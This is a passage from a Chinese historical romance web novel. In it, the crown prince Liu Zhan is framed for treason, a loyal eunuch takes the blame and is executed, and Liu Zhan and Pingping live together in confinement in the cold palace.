萍萍见他如此抵触，心里十分内疚，连忙赔罪：“对不起，我不是有意碰到的，我想阻拦你结账，毛毛躁躁，一下子打到你了，对不起。” 蒋望回道：“没事。” 萍萍听他声音发颤，心想这人肯定因为教养，极力忍耐，其实还是介意。她又赔了礼：“对不起，我保证以后不会再发生这样的事情。我是想着上回吃了经略相公的水饭一直没答谢，请你吃几个酥油鲍螺。” 蒋望回抬起头，恢复成平常见的，鲜少表情的一张脸。 萍萍晓得他答应了，付了铜板，让店家分装两盒，各分一盒。 她立马吃起来，不赖！是酥鲍的正味。 蒋望回步子变慢，落到后面，萍萍回身咬着酥鲍问他：“好吃吗？” 蒋望回想答她，又见她嘴角一抹酥油，想帮着用帕子细细地擦，还好他吞咽吃食，喉头滑动实属寻常。蒋望回吃完一整只，口中无食，方才答道：“好吃。” 正要提醒她唇角脏了，萍萍突然直起身，目光越过蒋望回，直勾勾看向他身后。 蒋望回扭头，见柳湛执缰勒马，脸色铁青。 他今日穿着墨衫，萍萍恍觉他就是压城的黑云，又觉柳湛浑身上下正无形射出许多支箭，能把在场每一个人都钉死。 身为靶心，萍萍不想被射成刺猬，赶紧盖上食盒盖子，快步走到柳湛马下。 柳湛心底冷哼，他等了这么久，她才过来。 他垂下眼皮，瞥了她一眼，冷道：“上来。” 上个马还要他来请吗？ 柳湛的马高，萍萍踩着马镫后翻不上去，跨了两回皆失败，柳湛不事先打招呼就拽着她的肩膀猛地一带，萍萍整个人腾空，下意识惊呼，手上抓紧食盒。柳湛却将她丢到身前，还未落马背他就双手挥缰：“驾！” 回宣德门应该往前走，柳湛却调转马头，背道而驰，离蒋望回越来越远。转弯的时候萍萍差点泼出去，又一声惊呼。 她忽然发现自己不像以前那样，十足十的信任他了，眼下安危交到他手上，就很是担心。 萍萍心砰砰乱跳。 柳湛听见呼声，两臂内收，将她箍紧些，另一方面却因她的惊呼更加气恼：“你和孤说香囊、簪钗，皆是贴身体己，只有夫妻之前可以赠送分享，孤信了你。你不允孤和其她女子虚与委蛇，孤也依了你，可你自己做了什么？”马越策越急，柳湛的语速也愈来愈快。他找不见她，一女子只身郊外，设想许多，心里不知有多慌乱，沿路不敢眨眼，而她呢？她在做什么？ “你和他人同乘一车，斗茶欢笑。与人分食，那酥油鲍螺，和香囊钗环有什么分别？你和他相携漫步，算不算星月相伴？！” 自己都没和萍萍逛过东京城…… 柳湛越想越气，禁不住胸脯起伏。 再瞧她这身打扮，谁给她换的？好生的俏，花冠啊，她不是嫌贵从来不戴冠子吗？ 柳湛身与萍萍错了些，纵使同坐马背，也能低头望见她的侧脸。 想她说过的话，什么既结夫妻，誓无二志。 又想之前那几回教他要注意分寸，现下她自己却这样…… 柳湛勒缰急停，连叹息也咬牙切齿：“你怎么敢呐……” 对他太不公平。 萍萍刚要回话，柳湛忽然调转马头，疾驰数步，对准路边墙角刺出袖里剑，他以为偷偷跟踪的是蒋望回，留了情面，没有直袭要害。灰尘四扬瓦砾声响，裴改之为避剑跃上房顶，而后再跳到另一家房顶，他手上拿着东西，不应战，只开溜。 动作太快萍萍没有瞧清裴改之的脸，柳湛却看得分明，第一眼陌生，只想这人跟了多久？方才闹市不觉，这会人烟稀少，才察觉不对劲。 柳湛在脑海里搜寻，少倾，一呕，这不是润州那人吗？ 竟跟到东京来！ 这也是她招惹的，柳湛想到这就想磨牙，心口疼，想追击取裴改之性命，又担心萍萍安危，不愿留下她一个人。 算了，暂且放他一马。 柳湛收剑，拥着萍萍，打马续行。 萍萍问他：“方才那人是谁？” 柳湛可不想让她知晓旁的什么人来东京了，只道：“想杀孤的。” “那要报官啊！” “不必，”柳湛执着缰，淡淡道，“这种事从小到大都有，报了官，查不清，反而打草惊蛇。” 萍萍心中一酸，太子过得都是什么腥风血雨日子啊……她情不自禁扭头去看柳湛，却见他阴着脸，冷哼一声。 她这才记起他还在生气。 虽然和七大王斗茶是被迫，但到底同乘了马车。和蒋望回当时只想着回宫，忽略了在变相同游，的确是她说一套做一套了。 萍萍诚恳道：“对不起。” 柳湛注视前方打马，置若罔闻。 萍萍拉住他的袖子：“对不起，你出来找我肯定很慌，我却还优哉游哉逛大街。下回我也要说到做到，注意分寸。” 原来她晓得他的委屈，柳湛心里好受了些，眉眼却仍绷着，双唇紧抿。 “好殿下，你也原谅我一回吧！” 萍萍不自觉用上央求语气，柳湛顿觉身体酥酥麻麻：“你再这样说话孤手抖兜不住，我们都要跌下马去！” 萍萍赶紧粘住双唇。 半晌，柳湛别首，免叫她瞧见自己的眼睛“像刚才类似的话，再说句听听？” 萍萍想了想：“官人，饶了我吧！” 少倾，柳湛往后挪了挪身，不再与她贴紧。 他眸底晦暗，心想下回要换个地方让她这样再说一晚上。 他从后抬手，拇指和食指捏住她的下巴摩挲，萍萍正不明所以，柳湛再次往后挪身，而后拇指指腹一抹，擦去她嘴角酥油。 “没点吃相。”他轻斥。 “对了，”萍萍意识到手上还有食盒，打开讨好，“酥鲍，殿下您最喜欢吃的。” 还有三个，可 以都赔给他。 柳湛别脸冷哼，堂堂太子，稀罕吃别人剩下的残羹冷炙？ 萍萍又揣摩了下，忙解释：“这是我这份，我自己的！” 柳湛挑眼：“孤要策马，腾不出手。” 萍萍笑：“那我喂您。” 柳湛想的是她用手递来，哪知她当彼时喂糖，衔着酥鲍就喂过来。虽然周遭无人，柳湛还是面上一红，慌慌张张抬起广袖遮住二人，吞下整只酥鲍。 虽然差点噎到，但是真甜呐，入口即化。 吃完了，他发现萍萍在夹。腿，一只手也摸在缰绳上，便问：“想骑马呀？” “嗯，没骑过。”萍萍又夹，还试图挺身，“我先感受下。” 柳湛唇角上翘：“等你第一天真正骑完马，保管回去上茅厕都蹲不下来。” “你这人怎么这么粗俗！”萍萍想了想，不能输给柳湛，她扭身掩口，在他耳畔轻道，“就是腿酸嘛，我感受过……” “你这人怎么这么无赖！”柳湛红着耳根怒斥。 萍萍却已欢笑着看向前方：“你这马好高大，它叫什么？” “腾云。”到此时他还哪还有半点怨气，拥着萍萍弓背，下巴搁在她肩头，“那端午我们出宫？先去京郊教你骑腾云，再到汴河观龙舟，傍晚天气凉了再逛东京城。” 他脑海里浮现出和她一直牵手逛到深夜的画面，倘若宫门落锁，就不回去了，在外面找家脚店，再做一日寻常夫妻。 马背微颠，柳湛觉这一段路似梦浮沉，比欢好还令人快乐，是纯粹的欢喜。 宣德门御街下马，柳湛牵着腾云，和萍萍一道步行回宫，离着东宫还有百来步时，撞见袁未罗。 袁未罗本来要往东宫走，急转半个身子，过来牵马：“殿下！” “干什么去了？”柳湛将缰绳交给他。 袁未罗支支吾吾。 柳湛再看一眼，袁未罗全招了，刚和别宫几个相熟内侍打叶子戏去了，继而讨饶，求殿下宽恕。 柳湛并不打算责罚他，只道：“下回注意点。” 话音刚落，忽然东宫宫门后、四方树丛中，涌出数十刀斧手，将三人团团围住。天色近黑，宫灯未燃，锋刃的寒光格外刺眼。 柳湛一手牵紧萍萍，另一手反按袖里剑，呵道：“哪个给你们的胆子，敢在禁宫中披甲拔刀？” “太子谋反，吾等奉旨擒拿！” 第82章 第八十二章 终于写到了冷宫 “殿下不可能谋反！”萍萍反驳。 “殿下怎么可能谋反啊？”袁未罗叫囔。 萍萍于谋逆事上相信柳湛这个人， 袁未罗觉着储君既未来官家，那位置迟早的事，太子为什么要去谋反？ 萍萍比袁未罗还早一霎开口， 但却被他的尖嗓门完全盖过。袁未罗又追问：“无凭无据， 你们凭什么栽赃殿下？” “呵——”刀斧手们皆是禁军， 威风凛凛，“有人告发太子谋逆，欲弑父自立！方才已从东宫搜出天子裘冕， 十二纹章并十二琉， 证据确凿！ 说着拿出物证，就要擒拿柳湛。 “你们这是构陷！”萍萍冲口而出， 不由自主牵紧柳湛。 柳湛却松开她的手，另一只手也放开袖里剑，他未看萍萍，只扭头劝袁未罗：“别申辩了，没用的。父皇既然已经认定谋逆，那就必须有一个人认下裘冕，不然此事没有交待， 不死不休。”柳湛直脖挺背， 微扬下巴， “君臣父子， 孤理应承担。”他顿了顿：“阿罗，帮我照顾好她。” 说罢柳湛主动出列，任由刀斧手擒拿。 太子下诏狱后， 禁军仍封锁东宫，都在传还要搜查同党。天黑掌灯，悬垂的宫灯在夜风里左摇右摆， 晃得人心惶惶，人人自危。 东宫的统领并诸位尚宫皆闭门不出。 “怎么办呀银娘子？”因为柳湛托付，袁未罗始终没离开萍萍，在她面前走来走去。 萍萍攥拳，东宫平时太子之下，统领管宫人内侍，政务一般都是蒋望回在跑腿。她捏手指：“蒋兄怎么还没回来？” “对呀殿帅去哪里了？” 蒋望回到落宫门前才回来，已见过门前禁卫，得知太子下狱，步伐骤快，进书房就开门见山：“殿下怎出这等大事？” 萍萍迎上前：“你怎么才回来？” 蒋望回一怔，自己在溪水边多伫了会。 他阖唇不解释。 袁未罗跺脚：“殿帅救救殿下吧！”连珠炮般讲一遍起因经过，又央道，“殿帅，你人脉广，结交多，能不能多找些大人向陛下进言？废置太子是大事啊！” 蒋望回旋即接口：“此事我已想过，陛下刚下诏，正在气头上，倘若即刻为殿下说话，难免会被疑同党。朝中大人多谨慎，过几日吧，大家都知道储君关乎国本，不可仓促废黜，过几日必定会集体向陛下进谏，劝其三思，我也会多走动，眼下先打点诏狱，尽量让殿下少受苦。” “有劳殿帅了。”萍萍和袁未罗齐声道谢。 蒋望回抿了下唇，此刻她改口称呼殿帅，合乎情理，无可非议。 他转瞬收起情绪：“应该的，身为署官，理当为殿下全力以赴。” 东宫封禁只进不出，但门前巡逻的禁卫有蒋望回相熟的，偷偷找了帮忙递话，忙活一通，回来已是半夜。 萍萍和袁未罗仍守在书房，烛火跳跃，谁也没有困意。 袁未罗突然一言不发看向蒋望回。 少顷，蒋望回兀地挑眉。 袁未罗点头。 萍萍之前一直在琢磨怎么救柳湛，发现自己就是试图撼树的蚍蜉。她无意识扭头瞟来，袁未罗左转脑袋，蒋望回向右别首，错开目光。 半晌，袁未罗重眺蒋望回。 蒋望回不开口，袁未罗便道：“银娘子，很晚了，你先去歇息吧。” 萍萍直言：“我睡不着。” 袁未罗一笑：“我们答应了殿下要照顾好你，你要憔悴了，殿下出来了我们怎么交待？” 蒋望回亦看向萍萍：“我送你回去吧。” “是啊，银娘子，别再坚持了！” 袁蒋二人轮流说好歹，萍萍拗不过回了小院。蒋望回一路送她，萍萍原先不让，他慢道：“今晚东宫不太平，我会为殿下守着你。” 萍萍进屋，他就坐在院子里，其实房里不仅萍萍，夕照也睡不着，时不时听得禁卫的说话和脚步声，总有人在来来去去，连那背面的小阁都亮起火光。 书房内，支走了萍萍，袁未罗长出一口气。 他要去做一件独自完成的大事，方才已经知会过蒋望回。 殿下的话提醒了他，官家既已认定谋逆，就必须要有一个人认下大逆不道的裘冕，承担罪责，此事才能了结。 殿下决意认罪，可他有雄才大略，合该将来励精图治，兴邦立事，不该也不能折损在这。 蒋殿帅骁勇善战，将来要保家卫国，做国之栋梁，做不得。 所以他这个冒失又愚笨的废物去认罪最合适不过啦！ 袁未罗决定效仿太子方才被押走时，毅然决然的样子，挺胸自背。 他想起自己是个无根之人，这一去了无牵挂，都没有传宗接代的忧虑，步子愈发轻快。 他想蒋殿帅跟随殿下已经十几年，而自己满打满算才四年，惭愧惭愧，还未深厚报答过殿下。 他想，自己经常办错差事，殿下皆只嘴上训斥，没有真罚，不像以前在含芳宫的时候，隔三差五要挨前主子的板子，所以今天这件事不要再办砸啦！ 袁未罗是清晨进的福宁宫，萍萍得知消息已经是三日以后了——原来不是太子私藏裘冕，而是东宫的供奉袁未罗，袁公公私下行为，他想唆使太子篡位，尚未实施就被揭发了罪行。官家判了袁公公贴加官。 萍萍问夕照，贴加官是什么？夕照也不晓得。她又去问蒋望回。 蒋望回沉默须臾，道：“就是脸上糊一层纸，把人闷死。” 萍萍伫在原地。 猜到袁未罗这一去肯定是死，但真确定了，还是掩不住伤心。 她捂脸蹲下，蒋望回其实没有讲真话，贴加官要先在桑皮纸上喷一口烧酒，这样贴在脸上才最闷。然后一张一张，贴一层审一回，贴够五层人才窒息而亡。 官家想审讯时迫袁未罗改口，可他从始至终咬定是自己一个人做下的，太子不知情。 蒋望回给萍萍递去一方绢帕。 “我有。”萍萍本来打算直接用袖子擦的，但为了拒绝蒋望回，她掏自己的帕子。既然他已经瞧见了，她不再捂脸，就当着面哭，一把鼻涕一把泪。 难以接受一个自己身边的，活生生的人就这样 没了。 萍萍泪眼望着前面的白墙琉璃瓦，青石路，想起袁未罗曾无数次走过这里，甚至石桌石凳他也坐过，更好哭了。她记得离这最近一座殿里，他还和她说象牙雕的神仙图。 萍萍嚎啕，把瓦上的飞鸟全吓跑了。 蒋望回站定低头，不说话。 就这样，一下午。 …… 袁未罗认了罪，案件却未因此了结，东宫前前后后又死了十几宫人，死前皆遭严刑拷打，但均有气节，宁死不冤枉太子。 朝廷里进谏的折子已经日日飞满天。 大人们劝官家“父子一体，天性自然”，官家回“以大义割断私恩，是为天下。” 众官又劝，前朝就有贼臣造构谗逆，倾覆太子，彼时天子日久醒悟，追悔莫及。前车之鉴，官家当引以为鉴。 官家却斥这是暗讽自己晚年昏聩，但又说当今朝廷广开事路，一切从宽，不予怪罪。 朝臣再三上奏，奸宦一己行为，不该牵连太子，无辜被废。 官家却道治下不严，东宫窝贼，太子理当担责。前前后后拉锯争议，三月有余，最后还是废黜柳湛太子之位，移居从玉宫。 柳湛清明关进去，出来已经过了端午。 他被押解到从云宫门口时，瞧见萍萍背着包袱，正站在门口等他。一阵风起，她的一缕鬓发飘到面前来。 柳湛两侧嘴角禁不住扬弧，就知道，他的萍萍会永远陪着他。 萍萍亦注视柳湛，仅仅三个月，他就瘦得只剩下骨头，不知道为什么，她这回做决定没有以前那样热血和奋不顾身，来从云宫的路上，竟有一霎冒出个自己都被吓倒的念头：陪他最后一回，再不陪了。 柳湛走近，两人面对着面，萍萍指了指肩上包袱：“私自做主给殿下挑了几件换洗衣物。” 所谓移居，实为幽禁，很多东西都需要自己备的。 有禁卫在场，柳湛摇头：“你莫要再这样唤我，我已经不是殿下了。” 萍萍没再接话，等禁卫门走了，关上从云宫大门，她才续道：“殿下就是殿下，中宫嫡出，谁有异议？” 这一句仅仅安慰，比起太子，其实她心里更愿意他是个润州卖面郎。 柳湛突然笑出一声，笑完许久，那一侧嘴角仍勾着。 萍萍以为柳湛想不开，主动牵住他的手：“殿下，你可千万不要因为一时失志就灰心丧气。”他应该晓得袁未罗认罪的事吧？ “如果殿下此刻寻短见，阿罗他们就白死了。” 柳湛动动手指，五指极自然穿过萍萍指缝，与之紧扣：“我知道，周公恐惧流言日，王莽谦恭未篡时。向使当初身便死，一生真伪复谁知？” “别多想了，先坐下来歇会吧。”萍萍拉柳湛进殿休息，见他披头散发，满身脏污，便道，“我去给你烧水洗一洗。” 她说着就松了手去寻水，柳湛原先听她话坐下，闻言站起，慢慢跟来。 萍萍找到殿后水井，只是井上竟然压了一块比井口宽大许多的石头，仿若假山倾倒，她推了一下没推动，正好柳湛走近，就扭头问他：“这井上怎么压了块大石头？殿下能搬开吗？” “别搬了，”柳湛叹气，“底下全是亡魂，从云宫乃本朝冷宫，历代投井的，被人推下去的，发了疯自己跌落的，都在里面。” 萍萍一想白骨浸泡凉飕飕的井水，顿时不敢喝了。 第83章 第八十三章 金风玉露一相逢 柳湛淡道：“这宫里应该有缸接雨水， 煮一煮能用。” 他和她一起搜，在通往偏殿的小路上找见水缸，萍萍就要挑水， 柳湛道：“我来吧。” 萍萍又要生火， 柳湛再阻：“你放下， 我来。” 萍萍蹲着，扭着脑袋盯他。柳湛未言先笑：“三水汤饼不都是我在生火？我自己烧了水沐浴，你去歇息。” 从云宫没有屏风， 但柳湛也不需要围挡， 他和萍萍熟悉对方身上每一处，就在殿内木桶里沐浴。 萍萍悄悄出到殿外， 从云宫里有提前给他们发放的粮食——三袋米，两袋面。 和她来前打听的一模一样。 萍萍早做准备，找司苑司讨了一包易活的果蔬种子偷带进来，这会在后院翻土先种上——发现地里有野荠，意外惊喜，挖够一盘。 看柳湛那边还没好，她又去打扫寝殿， 一摸被褥黏腻得像鱼皮， 便抱了被子出去晒， 床单和被套洗了——好在时值盛夏， 一天就能晒干。 忙完这些时柳湛刚洗好出来，瞧见被单飘扬在阳光里，泥土皆被翻过， 他不由自主旋起唇角，和在润州一样，她总能把家里打理得井井有条。 萍萍转身望向柳湛， 他身着白袍，束着她送的星簪。 她笑着垂下脑袋：“我挑的几套不知道你喜不喜欢？” 柳湛快步走下台阶牵住她，很合他心意。他从上至下扫过她的袍服幞头：“你自己带了别的衣裳吗？” 萍萍微愣。 柳湛捏捏她的手：“又没人进来，想如何打扮就如何打扮。” “我以为只能穿宫人衣裳，带的全是袍服……不过我还带了殿下送的月钗！”因为不知道要在从云宫待多久，不贴身携带月钗怕弄丢了。 柳湛另一只垂下的手抬起，抚了下她的幞头：“那明日就不戴这个了。” 萍萍翌日就换戴月钗。 日子一天一天过，夏日多雷雨，虽只一阵，但倾盆滂沱，寝殿的屋顶竟然漏雨，那雨下一会，就恍觉汴河的水连带游鱼要一起灌进殿里。 待雨停，寝殿桌椅床柜，箱具茶几全泡在水里，高过脚踝。好在永远只有他俩，没得旁人，皆只穿亵衣，挽起裤脚，一桶桶舀水出去。最后地面还是滑腻腻的，两人不得不都伏在地上用巾帕对擦，你从东头到西头，我从西头到东头。 也不知擦了多久，一对巾帕拧了又拧，地上才终于半干。 萍萍忙糊涂了，瞅着一块地疑惑：“这刚才不是擦干了吗？怎么还有水呢？” “这是汗。”柳湛看着她笑，想掏手绢替她擦汗，又想，浑身上下都是汗，擦不干净的，便劝：“这也擦得差不多了，你去烧水沐浴吧。”他顿了顿，“你洗完了我就来洗。” 萍萍沐浴完后柳湛却没有来，她找了一圈，瞥见他在房顶上：“殿下——你在修漏雨吗？”她手放嘴边囔，“小心别摔下来。” 过会又提醒：“天快黑了，要是待会黑了还没修好，就先下来明天再修。” “好——”柳湛笑着应声，嘴角就没放下来过，没有榔头，他用竹篾和石头替代，撬了木箱上的钉子固定房顶。 太阳彻底落山的一霎，柳湛正好修好，跃下时手上不仅抓着石头篾片，还捉了一只凑近看热闹，不慎被捕的麻雀。 他朝萍萍扬了扬麻雀：“今儿开荤了！” 两人住进丛云宫后第1回 吃到荤腥，漆黑夜里火堆明亮，上方支起杈子转着烤，滋滋呲油。 闻着真香——萍萍吞咽一口，直直盯着麻雀。 柳湛手上转着，眼睛眺火光中她的脸，心底一软，柔声道：“跟我进宫委屈你了。” 他指的是进冷宫，萍萍却以为进汴京禁宫。 吃穿上到不觉委屈，像她身上的宫婢袍服，她们说是什么缎面，反正上身就像凉水，她在润州从来没穿过这样舒服的衣裳。 她摇头：“我不觉得。” 柳湛心里愈发柔软，哑涩道：“你知道今日是什么日子吗？” “七月初七嘛。”萍萍侧首与柳湛对视，双双一笑，原来对方也在记日子，没有忘记时间。 二人同时仰头，一场雨仿佛洗了夜幕，星辰格外明亮。 一条朦胧白雾横贯南北，那是银河吗？ 萍萍隐约记得“织女正东乡”，于是往东找，发现一颗稍明亮的星，指着问：“那是织女吗？” “不是，”柳湛覆住她的手一起认，“织女在银河北面。” 果然正北有一颗星，萍萍眯眼定睛看，发现它是整个夜空里最明亮的。 隔河遥望，脉脉不得语，那牵牛应该在河对岸，萍萍便往南找：“那是牵牛吗？” 柳湛无奈笑：“错了，你再找找。” 萍萍再往南指些：“那是这颗？” “还错。” “这颗？这颗？”萍萍把河对岸稍微亮点的都指了，柳湛连连摇头，抓起她手往东走，叹道：“你最开始指的那颗被你误认织女的，就是牵牛星！” 众里寻他千百度，却原来早相识。 萍萍蹙眉：“你认的对不对呀？” “怎么，你不信我？” 萍萍眨了下眼，柳湛又不是钦天监的，说实话她半信半疑。 可惜星辰不会说话，不然直接问星星就好了！ 萍萍盯着星空出神。 柳湛随她目光眺了眼星空，又瞥萍萍，然后视线就再没从她脸上移开。 “萍萍。”他温柔地唤。 萍萍过了会才反应过来，侧首：“殿下唤我有事？” “无事，就是想喊你。” 萍萍闻言对着柳湛羞赦一笑，又重新仰望星辰。 良久，柳湛又唤：“萍萍。” 萍萍以为他仍喊着玩，没有回应，只对着星星勾唇眨眼，柳湛再唤一声，她转头看来，柳湛笑睇着追忆：“我突然想起上金山寺那回，路上你配合我，捉弄番僧。你身体僵直，只露眼白，把那群人吓的。” “我不仅仅只翻白眼好不好？”萍萍也记得清楚，“我那会还用腹语装法王，我觉得那是真正唬住他们的大招。” 柳湛点下巴：“好好好，是大招。” “本来就是，你会腹语吗？” 柳湛正好点到头垂下，不动，只挑眼：“不会，你教我？” “讲话下肚中咽，”萍萍比划着教他，“唇齿不动，试试用舌头发声？不对——”她上手拍柳湛腹部，“肚子用力！下丹田气过腹腔，胸口，再到喉舌，头颅，感觉一起在说话。” 她教了刻把钟，柳湛却似乎没学会，最后垂首叹气：“算了，我这辈子恐怕学不会了。” “还有你学不会的东西呀？”萍萍袅袅接话。柳湛眸中晦暗一闪而过，复还明眸，剪水含情，缓缓望向萍萍脑后。 她疑惑，扭头，好像看见亮光一闪而过，于是追着在转首。 柳湛道：“别动。” 说晚了，萍萍还是晃了脑袋，两只受惊的萤虫从后绕到前来，萍萍眸中一喜，抬手去托它们，柳湛笑道：“它们将你头上月钗当同伴了。” 他说着缓缓凑近，萍萍一扭头就擦上了他的唇。见他闭眼，她也跟着闭上眼睛。 柳湛已经娴熟，有条不紊，循序渐进，先只唇贴唇，接着抬手托住她后脑勺，将她脑袋再抵近些，吻也稍微加重，舌尖微探，脑袋随时随这个缠绵的吻调整，始终保持着紧密和贴切。 吻完之后，他没有即刻抱她入殿，而是抬起下巴，再去吻她眉心，用唇一顺描摹她的淡眉，到眉梢辗转流连。 萤虫在近处飞舞，星河在远方闪烁。 是夜，从云宫的床榻远不及东宫寝殿宽大，窄小一方，还经年失修，吱吱呀呀地摇。柳湛青丝散垂，时不时在他眼前毫无章法地晃，底下的被单早成一池揉皱的春水，人似一汪水里共生的两根蔓藤，缠缠绕绕，小腿挂着，腰肢摇晃。一个零零散散不成句子，另一个犹似玉兔捣月声。 最后那会萍萍睁眼看了柳湛，白面滚汗，颊泛浅红如三月桃花瓣，锁骨和胛骨皆凸着，上有红痕。 她对这一画面格外记得深，半夜又想到，醒了，她这半边被褥捂得热乎，顺手摸那边，却被凉如水，空的，柳湛不在床。上。 等下回柳湛沐浴的时候，萍萍就借着翻地的由头，去看了那口被封的井。 她推不动，就只能记下来石头第三道褶挨着井口，就跟以前记铺床枕头对帐钩一样。 萍萍观察了一个秋天，那石头的位置都没动过。 于是日子还照常过，从云宫夏天凉快，到冬天就惨了，阴嗖嗖，没地龙没炭，殿里的窗户竟还透风。萍萍用米浆做浆糊封住窗缝，柳湛再挪柜子堵住，才稍微好些。 萍萍右手拇指先开始是起水泡，痒得她忍不住挠了一回，就破溃一直不好，成了紫红一大块裂口。柳湛一牵手就发现了，抓起来看。萍萍皱着眉道：“应该是冻疮，好几年没长了。” 上回生冻疮还是从西宁回来那一年。 “以后都我洗衣裳吧，我手好的。” 萍萍闻言瞥了眼柳湛垂下的手，五指修长隐现青筋。 有回柳湛浆洗时萍萍瞧见，急忙上前：“你手也冻红了！” 柳湛却笑道：“水冷都这样，待会就好。”他抬起双手给她展示，“没有冻疮。” 他没有裂口，不怕水，所以还是他来洗。 直到除夕这日。 萍萍一大早就开库房搬柴火，柳湛一开始以为她要做年宴，又想不可能，眼下这天气只有米面，菜都难长。 柳湛笑问：“你要做什么？” “我要洗头。”她很坚定，必须得今年洗，不能拖到明年。 柳湛就笑：“昨日没洗吗？” 昨天两人有轮流沐浴。 “太冷了，洗完身子就出来了。” 柳湛回忆下，好像昨日她头发是干的，便道：“我和你一起吧，火生旺点。” 待水调好，盆就摆在花几上，外面天太冷了，只能殿内洗了弄湿再擦。 萍萍弓背低头将长发浸入水中，余光瞥见柳湛还没走，就到：“得亏今年没下雪，不然真是扛不住。我以前在润州也没什么炭，西宁更惨，这在宫里过了个暖冬，就不抗冻了。 “由俭入奢易，由奢入俭难。”柳湛注视萍萍，伸出双手插。入她发间。 萍萍手一滞。 柳湛道：“我帮你洗吧，你手上有疮，别沾水了。” 柳湛说着揉了下她的发丝，接着往下浇一瓢水，再抹皂荚，细细揉搓，他心里怪怪的，却又有种异样的柔软和满足。 这满足令他的一切动作都变得轻手轻脚，甚至还十分怪异地问出一句话：“还有哪里痒？我帮你挠挠。” 第84章 第八十四章 我是谁 萍萍也不客气， 直接给他隔空指了几个地方：“这里、这里，还有这里。” 柳湛顺她所指挠痒，萍萍道：“不是耳根后面， 往上一点， 对， 对是那里痒。” 柳湛既好气又想笑，气的笑的都是自己，对萍萍的吩咐听之从之。 萍萍低着脑袋问：“能不能挠重些？” 因轻浅水声不断， 她的声音略显含糊， 但柳湛还是听清了，瞬间愣住——自己轻手轻脚生怕伤着她， 她却嫌挠得不够重？ 他自嘲般摇头悄笑，但仍依从吩咐，加重抓挠力道。好在萍萍是个懂感恩的，一会囔“殿下挠得真舒服”，一会又说“好殿下千恩万谢”，柳湛很是受用，心想这辈子可能就这一回服侍人， 不知登上大宝那日是不是和此刻同样满足？ 洗完他怕她着凉， 强押到到火堆旁烘干湿发， 萍萍这才注意到柳湛的手——瞧起来还是白皙的， 没有裂口冻疮，和正常的肌肤没两样，但火离 得近了， 就照出不同，好像并没有那么光滑。 她再一回忆，最近他也没主动牵手了。 她趁柳湛不备去摸他的手背， 柳湛立躲。 “给我瞧瞧！”她一囔，柳湛手一滞，萍萍再往他手背一摸，比最粗的麂皮还毛糙，根本觉不出人的皮肤。 柳湛淡道：“男人，无所谓这些。”说着就把手移走，摸了下她披着的头发，一顺到发梢，都干了。 他指妆台：“坐那去，我帮你束发。” 萍萍分唇看两眼柳湛，真按他要求坐到妆台前。 柳湛没梳过女子发髻，就按自己日常的，绾个髻用月钗束住， 钗插入发那一刻，他直勾勾盯着如月的夜明珠，忽然坚定这支钗到此刻才完整完成了它的使命。 他与她为知音，为知心，为知己。 到晚上，守岁的年夜饭，也不过两碗寻寻常常的面。清汤寡水，没有浇头，油花都没一滴。 面对面坐，萍萍望面感叹：“我该种点葱的。” “你不是不吃葱么？”柳湛微笑。 他煮的面，萍萍尝一筷子：“嗯——殿下的手艺越来越高了！” 柳湛旋唇角，刚进从云宫时第一日，煮面完全生疏，这几个月过去，又熟回来。 萍萍道：“就凭这，殿下再回润州开汤饼店，生意肯定更好。” 说完她心念一动，不自觉敛去笑意。 萍萍低头吃面，心中犹豫，两筷子面后，还是决定讲出来，望着柳湛，眼神与语气俱诚恳：“其实比起宫里，我更喜欢在润州开汤饼店。” 官人从前那个愿望是对的，下半辈子在润州汤饼铺，做灶下面，热腾腾的烟火气，每天只用操心采购多少食材，不用想太多。 要是旁人讲这种话，柳湛必定笑笑不接，但他自觉与萍萍亲密无间，犹豫片刻，还是多教诲一句：“倘若真去开店了，便是放弃刀俎，甘为鱼肉。” 柳湛目光熠熠，坚信只有执刀在手，才能性命无忧。 萍萍怔然。 柳湛手伸长些，越过桌面，抚了下她的手背。 萍萍低下头，接着吃面。柳湛也重拾箸。她心里却犹疑，从前的官人怎么可能讲出这样的话？ 他是从前的官人吗？ 砰——砰—— 二人循声望向窗外，烟火照亮天空。 萍萍静静看了会，道：“和去年一样的。” 图样、绽放次序、时间长短，都一样。 柳湛颔首：“这叫九州升平烟火，年年岁岁同。” “去年，呵，去年，”萍萍回忆起来，几分不好意思瞥向柳湛，“去年这时候我和夕照在屋子里看烟火，没多久就听闻殿下中毒了，匆匆赶去，今年……” 今年又是在冷宫里，好像每一个年都挺坎坷的。 萍萍止声，没说后半句。 柳湛明白她自进宫还未过过好年，便许诺：“等明年安稳了，我们过个好年。” 萍萍旋即眺柳湛一眼，又飞速耷拉眼皮。 吃完面萍萍要收碗，柳湛又拍拍她手背，示意放着他来。柳湛收了去外头刷碗，萍萍走出来，天空依旧时暗时明，烟花璀璨。 她不由感叹：“这个九州升平烟火要放好久。” 柳湛埋头刷碗：“一刻一回，每回九发。” “这烟火的竹筒是不是特别大？”萍萍问他，不然怎么会开那么大的花，几乎占满整个夜空。 “用的大理歪脚龙竹，是要粗些。” “那怎么放呢？” “就跟别的爆竹烟火一样放，”柳湛洗完了，掏出帕子擦干净手，“小时候年年都是我点。” 萍萍侧首转身，直直盯着他：“殿下亲自放烟火？” 柳湛颔首：“那时贪玩。” “那陛——”萍萍欲言又止，那陛下允许吗？ 柳湛勘破她的心思：“陛下和太后娘娘年年都陪着我放。” 他看她的眼睛比身后烟火还明亮，心想有些话可以告诉她了，就牵起萍萍的手：“走，进去，给你说个故事。” 外面烟火再绚烂，也无暖意，还是坐在火堆前烤着才最舒服。 萍萍倒了盏茶，奉到柳湛面前：“你要先清清嗓子吗？” 还特地进殿来讲，感觉是十分郑重的事情。 柳湛会错了意，莞尔：“这事不值得大嗓门囔囔。” 萍萍闻言把瓷盏放回桌上。 柳湛牵起她的手：“从前有位九大王和一位世家小娘子，都爱偷溜出来逛汴京城，偶然遇见，发现吃的玩的喜好都一样，从此就变成一起逛汴京城。” 九大王？萍萍暗忖，当今的九大王才六岁，这不是这一任官家的故事。 “都只十六、七岁，日子久了，自然处出不一样的情分……” “然后就私定了终身？”萍萍插话。 柳湛瞥她一眼，脸上闪现一丝蔑笑，这是萍萍做得出来的事，但那两人怎么可能？ “但他俩皆有鸿鹄志向，私心觉着要真匹配起来，对方差点意思，助力不大。于是，九大王娶了少保的嫡女做正妃，又纳了赵钱孙李诸家女儿。小娘子则进宫侍奉官家，她长得漂亮又会讨好，不出一年就封婕妤，后来晋修仪、贤妃、贵妃，还差一步便能登顶，可就在这时，官家病来如山倒，一瞬间也就一两年的事了。” 